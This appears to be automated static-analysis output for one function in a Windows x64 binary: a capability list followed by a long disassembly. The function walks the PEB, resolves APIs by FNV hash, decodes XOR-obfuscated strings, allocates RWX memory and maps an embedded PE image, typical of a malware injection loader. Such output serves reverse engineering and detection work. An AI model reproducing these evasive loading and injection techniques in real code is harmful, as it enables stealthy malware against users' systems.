Function at 0x14003b560
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x1400c9438]
xor rax, rsp
mov qword [rbp + 0x50], rax
mov r12, r9
mov qword [rbp - 0x78], r9
mov qword [rsp + 0x40], rcx
mov qword [rbp - 0x10], r9
mov ecx, 0x37ba00
call fcn.140079724
mov rbx, rax
mov qword [rbp - 0x60], rax
mov r8d, 0x37ba00
lea rdx, [0x1400ca320]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0x5a4d
cmp word [rbx], ax
je 0x14003b7f3
movabs rcx, 0xd761dcc156547bb5
mov qword [rbp], rcx
movabs rcx, 0x263de434674a79be
mov qword [rbp + 8], rcx
movabs rax, 0xf705b5ad372215fc
mov qword [rbp - 0x50], rax
movabs rax, 0x263de43e022610d8
mov qword [rbp - 0x48], rax
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rsp + 0x50], xmm0
xor ebx, ebx
mov r8d, 0xe76fb4aa
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp], xmm0
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x14003b67f
mov rdx, qword [rbp + 8]
movzx ecx, cx
shr rcx, 1
lea r10, [rdx + rcx*2]
mov r9d, 0x811c9dc5
cmp rdx, r10
je 0x14003b676
nop dword [rax]
movsx ecx, byte [rdx]
xor ecx, r9d
imul r9d, ecx, 0x1000193
add rdx, 2
cmp rdx, r10
jne 0x14003b660
cmp r9d, ebx
jne 0x14003b789
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r14, qword [rcx + r11 + 0x88]
mov edi, r14d
add rdi, r11
shr r14, 0x20
cmp rdi, r11
je 0x14003b789
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x14003b789
mov r15d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r15]
add rdx, r11
mov r9d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003b6f8
nop
movsx ecx, cl
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003b6e0
cmp r9d, r8d
je 0x14003b70a
test r10d, r10d
jne 0x14003b6c0
mov rax, qword [rax]
jmp 0x14003b630
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, rdi
jbe 0x14003b791
lea rax, [r14 + rdi]
cmp rdx, rax
jae 0x14003b791
mov ebx, 0x811c9dc5
mov r8d, ebx
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x14003b755
nop
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14003b740
inc rdx
movzx eax, byte [rdx]
test al, al
je 0x14003b778
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x14003b760
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003b630
lea rcx, [rsp + 0x50]
call rdx
nop
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x14003b7d5
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r12]
jb 0x14003b7d0
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14003d77c
mov rcx, r8
call fcn.140079384
mov qword [r12 + 0x10], 0
mov qword [r12 + 0x18], select
mov byte [r12], 0
xor al, al
jmp 0x14003d755
movsxd rax, dword [rbx + 0x3c]
add rax, rbx
mov qword [rbp - 0x68], rax
mov ecx, 0x8664
xor ebx, ebx
cmp word [rax + 4], cx
je 0x14003ba1a
movabs rcx, 0xd761dcc156547bb5
mov qword [rbp], rcx
movabs rcx, 0x263de434674a79be
mov qword [rbp + 8], rcx
movabs rcx, 0xf233dccf93f6cbc7
mov qword [rbp + 0x10], rcx
movabs rcx, 0x81a5505aa674df50
mov qword [rbp + 0x18], rcx
movabs rax, 0xf705b5ad372215fc
mov qword [rsp + 0x50], rax
movabs rax, 0x4b4f8b52132b15ce
mov qword [rsp + 0x58], rax
movabs rax, 0xf233dccf93f6cbcd
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rcx
movups xmm1, xmmword [rsp + 0x50]
movups xmm2, xmmword [rsp + 0x60]
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmm1
movdqa xmmword [rbp - 0x40], xmm0
xorps xmm2, xmmword [rbp + 0x10]
movdqa xmmword [rbp - 0x30], xmm2
mov r8d, 0xe76fb4aa
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp], xmm0
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x14003b8ff
mov rdx, qword [rbp + 8]
movzx ecx, cx
shr rcx, 1
lea r10, [rdx + rcx*2]
mov r9d, 0x811c9dc5
cmp rdx, r10
je 0x14003b8f6
nop dword [rax]
movsx ecx, byte [rdx]
xor ecx, r9d
imul r9d, ecx, 0x1000193
add rdx, 2
cmp rdx, r10
jne 0x14003b8e0
cmp r9d, ebx
jne 0x14003ba09
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r14, qword [rcx + r11 + 0x88]
mov edi, r14d
add rdi, r11
shr r14, 0x20
cmp rdi, r11
je 0x14003ba09
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x14003ba09
mov r15d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r10d
lea rcx, [r15 + r10*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r9d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003b978
nop
movsx ecx, cl
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003b960
cmp r9d, r8d
je 0x14003b98a
test r10d, r10d
jne 0x14003b940
mov rax, qword [rax]
jmp 0x14003b8b0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, rdi
jbe 0x14003ba11
lea rax, [r14 + rdi]
cmp rdx, rax
jae 0x14003ba11
mov ebx, 0x811c9dc5
mov r8d, ebx
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x14003b9d5
nop
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14003b9c0
inc rdx
movzx eax, byte [rdx]
test al, al
je 0x14003b9f8
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x14003b9e0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003b8b0
lea rcx, [rbp - 0x40]
jmp 0x14003b796
mov r14d, 0xaeb6049c
mov r11d, r14d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rsi, qword [rcx + 0x10]
mov r13, rsi
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rbp], xmm0
movd eax, xmm0
sub ax, 8
mov word [rbp], ax
test ebx, ebx
je 0x14003ba8c
mov rcx, qword [rbp + 8]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r8
je 0x14003ba84
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14003ba70
cmp edx, ebx
jne 0x14003bb7d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r12, qword [rax + r9 + 0x88]
mov edi, r12d
add rdi, r9
shr r12, 0x20
cmp rdi, r9
je 0x14003bb7d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14003bb7d
mov r15d, dword [rdi + 0x20]
dec r8d
lea rax, [r15 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14003baf6
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14003bae0
cmp edx, r11d
je 0x14003bb02
test r8d, r8d
jne 0x14003bac0
jmp 0x14003bb7d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
cmp r10, rdi
jbe 0x14003bb93
lea rax, [rdi + r12]
cmp r10, rax
jae 0x14003bb93
mov ebx, 0x811c9dc5
mov r11d, ebx
movzx eax, byte [r10]
cmp al, 0x2e
je 0x14003bb56
nop dword [rax + rax]
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14003bb40
inc r10
movzx eax, byte [r10]
test al, al
je 0x14003bb7a
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x14003bb61
mov rsi, r13
mov rsi, qword [rsi]
cmp rsi, r13
je 0x14003bb90
cmp qword [rsi + 0x30], 0
jne 0x14003ba40
xor r10d, r10d
mov rbx, qword [rbp - 0x68]
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rbx + 0x30]
mov r12, qword [rsp + 0x40]
mov rcx, r12
call r10
mov r10, rax
mov qword [rbp - 0x80], rax
test rax, rax
jne 0x14003c027
xor ebx, ebx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp], xmm0
movd ecx, xmm0
sub cx, 8
mov word [rbp], cx
test ebx, ebx
je 0x14003bc30
mov rdx, qword [rbp + 8]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, 0x811c9dc5
cmp rdx, r9
je 0x14003bc27
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14003bc11
cmp r8d, ebx
jne 0x14003bd3b
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r15, qword [rcx + r11 + 0x88]
mov edi, r15d
add rdi, r11
shr r15, 0x20
cmp rdi, r11
je 0x14003bd3b
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14003bd3b
mov esi, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r9d
lea rcx, [rsi + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003bca8
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003bc90
cmp r8d, r14d
je 0x14003bcba
test r9d, r9d
jne 0x14003bc70
mov rax, qword [rax]
jmp 0x14003bbe0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
cmp r10, rdi
jbe 0x14003bd43
lea rax, [rdi + r15]
cmp r10, rax
jae 0x14003bd43
mov ebx, 0x811c9dc5
mov r14d, ebx
movzx eax, byte [r10]
cmp al, 0x2e
je 0x14003bd06
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14003bcf0
inc r10
movzx eax, byte [r10]
test al, al
je 0x14003bd2a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x14003bd11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003bbe0
mov rbx, qword [rbp - 0x68]
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, r12
call r10
mov r10, rax
mov qword [rbp - 0x80], rax
test rax, rax
jne 0x14003c027
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, eax
movabs rcx, 0xd761dcc156547bb5
mov qword [rbp + 0x20], rcx
movabs rcx, 0x263de434674a79be
mov qword [rbp + 0x28], rcx
movabs rcx, 0xf233dccf93f6cbc7
mov qword [rbp + 0x30], rcx
movabs rcx, 0x81a5505aa674df50
mov qword [rbp + 0x38], rcx
movabs rcx, 0x4de989edfa2d9679
mov qword [rbp + 0x40], rcx
movabs rcx, 0xd9096202b6c1062
mov qword [rbp + 0x48], rcx
movabs rdx, 0xb641a5b339391ef8
mov qword [rbp - 0x40], rdx
movabs rdx, 0x49549055042515d2
mov qword [rbp - 0x38], rdx
movabs rdx, 0x9656b0a6f290eba9
mov qword [rbp - 0x30], rdx
movabs rax, 0xf9957073de11f770
mov qword [rbp - 0x28], rax
movabs rax, 0x4de989edfa27ce5c
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rcx
movups xmm1, xmmword [rbp - 0x40]
movups xmm2, xmmword [rbp - 0x30]
movups xmm3, xmmword [rbp - 0x20]
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmm1
movdqa xmmword [rsp + 0x50], xmm0
xorps xmm2, xmmword [rbp + 0x30]
movdqa xmmword [rsp + 0x60], xmm2
xorps xmm3, xmmword [rbp + 0x40]
movdqa xmmword [rsp + 0x70], xmm3
xor ebx, ebx
mov r8d, 0xe76fb4aa
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp], xmm0
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x14003beaf
mov rdx, qword [rbp + 8]
movzx ecx, cx
shr rcx, 1
lea r10, [rdx + rcx*2]
mov r9d, 0x811c9dc5
cmp rdx, r10
je 0x14003bea6
nop dword [rax]
movsx ecx, byte [rdx]
xor ecx, r9d
imul r9d, ecx, 0x1000193
add rdx, 2
cmp rdx, r10
jne 0x14003be90
cmp r9d, ebx
jne 0x14003bfbb
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r14, qword [rcx + r11 + 0x88]
mov edi, r14d
add rdi, r11
shr r14, 0x20
cmp rdi, r11
je 0x14003bfbb
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x14003bfbb
mov r15d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r10d
lea rcx, [r15 + r10*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r9d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003bf28
nop
movsx ecx, cl
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003bf10
cmp r9d, r8d
je 0x14003bf3a
test r10d, r10d
jne 0x14003bef0
mov rax, qword [rax]
jmp 0x14003be60
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov r9d, dword [rcx + rax*4]
add r9, r11
cmp r9, rdi
jbe 0x14003bfc3
lea rax, [r14 + rdi]
cmp r9, rax
jae 0x14003bfc3
mov ebx, 0x811c9dc5
mov r8d, ebx
movzx eax, byte [r9]
cmp al, 0x2e
je 0x14003bf86
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc r9
movzx eax, byte [r9]
cmp al, 0x2e
jne 0x14003bf70
inc r9
movzx eax, byte [r9]
test al, al
je 0x14003bfaa
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
lea r9, [r9 + 1]
movzx eax, byte [r9]
test al, al
jne 0x14003bf91
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003be60
mov edx, r12d
lea rcx, [rsp + 0x50]
call r9
nop
mov rdi, qword [rbp - 0x78]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x14003c00d
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x14003c008
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14003d77c
mov rcx, r8
call fcn.140079384
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], select
mov byte [rdi], 0
xor al, al
jmp 0x14003d755
mov qword [rbp - 0x30], 0
mov rax, qword [0x14007d130]
mov qword [rbp - 0x40], rax
mov rax, qword [0x14007d138]
mov qword [rbp - 0x38], rax
mov rdi, qword [rbp - 0x78]
mov r9, qword [rdi + 0x10]
mov r8, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x14003c05a
mov r8, qword [rdi]
movabs rcx, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x14003c094
movabs r11, 0x100000001b3
nop word [rax + rax]
movzx eax, byte [rdx + r8]
xor rcx, rax
imul rcx, r11
inc rdx
cmp rdx, r9
jb 0x14003c080
mov qword [rbp - 0x28], rcx
movzx eax, word [rbx + 0x14]
add rax, 0x28
xor r13d, r13d
mov r12d, 0xc0088eea
cmp word [rbx + 6], r13w
je 0x14003c6c2
lea r12, [rax + rbx]
nop dword [rax + rax]
mov eax, dword [r12]
mov dword [rbp - 0x70], eax
test eax, eax
je 0x14003c296
mov eax, dword [r12 + 4]
add rax, qword [rbp - 0x60]
mov qword [rbp - 0x50], rax
mov eax, dword [r12 - 4]
add rax, r10
mov qword [rbp], rax
xor edi, edi
mov ebx, 0xc0088eea
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd ecx, xmm0
sub cx, 8
mov word [rsp + 0x50], cx
test edi, edi
je 0x14003c15f
mov rdx, qword [rsp + 0x58]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, 0x811c9dc5
cmp rdx, r9
je 0x14003c156
nop dword [rax]
nop dword [rax + rax]
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14003c140
cmp r8d, edi
jne 0x14003c269
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r15, qword [rcx + r11 + 0x88]
mov esi, r15d
add rsi, r11
shr r15, 0x20
cmp rsi, r11
je 0x14003c269
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14003c269
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r9d
lea rcx, [r14 + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003c1d8
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003c1c0
cmp r8d, ebx
je 0x14003c1ea
test r9d, r9d
jne 0x14003c1a0
mov rax, qword [rax]
jmp 0x14003c100
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
cmp r10, rsi
jbe 0x14003c271
lea rax, [rsi + r15]
cmp r10, rax
jae 0x14003c271
mov edi, 0x811c9dc5
mov ebx, edi
movzx eax, byte [r10]
cmp al, 0x2e
je 0x14003c236
nop
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14003c220
inc r10
movzx eax, byte [r10]
test al, al
je 0x14003c258
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x14003c241
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003c100
mov r9d, dword [rbp - 0x70]
mov qword [rsp + 0x20], 0
mov r8, qword [rbp - 0x50]
mov rdx, qword [rbp]
mov rcx, qword [rsp + 0x40]
call r10
test eax, eax
je 0x14003c2b3
mov rbx, qword [rbp - 0x68]
inc r13d
add r12, 0x28
movzx eax, word [rbx + 6]
cmp r13d, eax
je 0x14003c6bc
mov r10, qword [rbp - 0x80]
jmp 0x14003c0c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, eax
movabs rcx, 0xd761dcc156547bb5
mov qword [rbp + 0x20], rcx
movabs rcx, 0x263de434674a79be
mov qword [rbp + 0x28], rcx
movabs rcx, 0xf233dccf93f6cbc7
mov qword [rbp + 0x30], rcx
movabs rcx, 0x81a5505aa674df50
mov qword [rbp + 0x38], rcx
movabs rax, 0xb60cfcb5713a1af6
mov qword [rsp + 0x50], rax
movabs rax, 0x49549057023959ce
mov qword [rsp + 0x58], rax
movabs rax, 0x8a16a4ffb3ccb8a9
mov qword [rsp + 0x60], rax
movabs rax, 0x81a5505aa674df5a
mov qword [rsp + 0x68], rax
movups xmm1, xmmword [rsp + 0x50]
movups xmm2, xmmword [rsp + 0x60]
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmm1
movdqa xmmword [rbp - 0x40], xmm0
xorps xmm2, xmmword [rbp + 0x30]
movdqa xmmword [rbp - 0x30], xmm2
xor ebx, ebx
mov r8d, 0xe76fb4aa
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x14003c3bf
mov rdx, qword [rsp + 0x58]
movzx ecx, cx
shr rcx, 1
lea r10, [rdx + rcx*2]
mov r9d, 0x811c9dc5
cmp rdx, r10
je 0x14003c3b6
nop
movsx ecx, byte [rdx]
xor ecx, r9d
imul r9d, ecx, 0x1000193
add rdx, 2
cmp rdx, r10
jne 0x14003c3a0
cmp r9d, ebx
jne 0x14003c4cb
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r15, qword [rcx + r11 + 0x88]
mov edi, r15d
add rdi, r11
shr r15, 0x20
cmp rdi, r11
je 0x14003c4cb
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x14003c4cb
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r14]
add rdx, r11
mov r9d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003c438
nop
movsx ecx, cl
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003c420
cmp r9d, r8d
je 0x14003c44a
test r10d, r10d
jne 0x14003c400
mov rax, qword [rax]
jmp 0x14003c370
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov r9d, dword [rcx + rax*4]
add r9, r11
cmp r9, rdi
jbe 0x14003c4d3
lea rax, [r15 + rdi]
cmp r9, rax
jae 0x14003c4d3
mov ebx, 0x811c9dc5
mov r8d, ebx
movzx eax, byte [r9]
cmp al, 0x2e
je 0x14003c496
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc r9
movzx eax, byte [r9]
cmp al, 0x2e
jne 0x14003c480
inc r9
movzx eax, byte [r9]
test al, al
je 0x14003c4ba
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
lea r9, [r9 + 1]
movzx eax, byte [r9]
test al, al
jne 0x14003c4a1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003c370
mov edx, r12d
lea rcx, [rbp - 0x40]
call r9
xor edi, edi
mov ebx, 0xe93e8317
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x14003c54f
mov rdx, qword [rsp + 0x58]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, 0x811c9dc5
cmp rdx, r9
je 0x14003c546
nop
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14003c530
cmp r8d, edi
jne 0x14003c659
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r15, qword [rcx + r11 + 0x88]
mov esi, r15d
add rsi, r11
shr r15, 0x20
cmp rsi, r11
je 0x14003c659
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14003c659
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003c5c8
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14003c5b0
cmp r8d, ebx
je 0x14003c5da
test r9d, r9d
jne 0x14003c590
mov rax, qword [rax]
jmp 0x14003c500
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
cmp r10, rsi
jbe 0x14003c661
lea rax, [r15 + rsi]
cmp r10, rax
jae 0x14003c661
mov edi, 0x811c9dc5
mov ebx, edi
movzx eax, byte [r10]
cmp al, 0x2e
je 0x14003c626
nop
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14003c610
inc r10
movzx eax, byte [r10]
test al, al
je 0x14003c648
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x14003c631
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003c500
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rbp - 0x80]
xor r8d, r8d
mov r9d, 0x8000
call r10
nop
mov rbx, qword [rbp - 0x78]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14003c6b5
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x14003c6b0
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14003d77c
mov rcx, r8
call fcn.140079384
xor al, al
jmp 0x14003d742
mov r12d, 0xc0088eea
movups xmm0, xmmword [rbp - 0x40]
mov r13, qword [rbp - 0x60]
movups xmmword [r13], xmm0
movups xmm1, xmmword [rbp - 0x30]
movups xmmword [r13 + 0x10], xmm1
xor edi, edi
mov ebx, r12d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd ecx, xmm0
sub cx, 8
mov word [rsp + 0x50], cx
test edi, edi
je 0x14003c74f
mov rdx, qword [rsp + 0x58]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, 0x811c9dc5
cmp rdx, r9
je 0x14003c746
nop dword [rax]
nop dword [rax + rax]
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14003c730
cmp r8d, edi
jne 0x14003c859
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r15, qword [rcx + r11 + 0x88]
mov esi, r15d
add rsi, r11
shr r15, 0x20
cmp rsi, r11
je 0x14003c859
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14003c859
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r9d
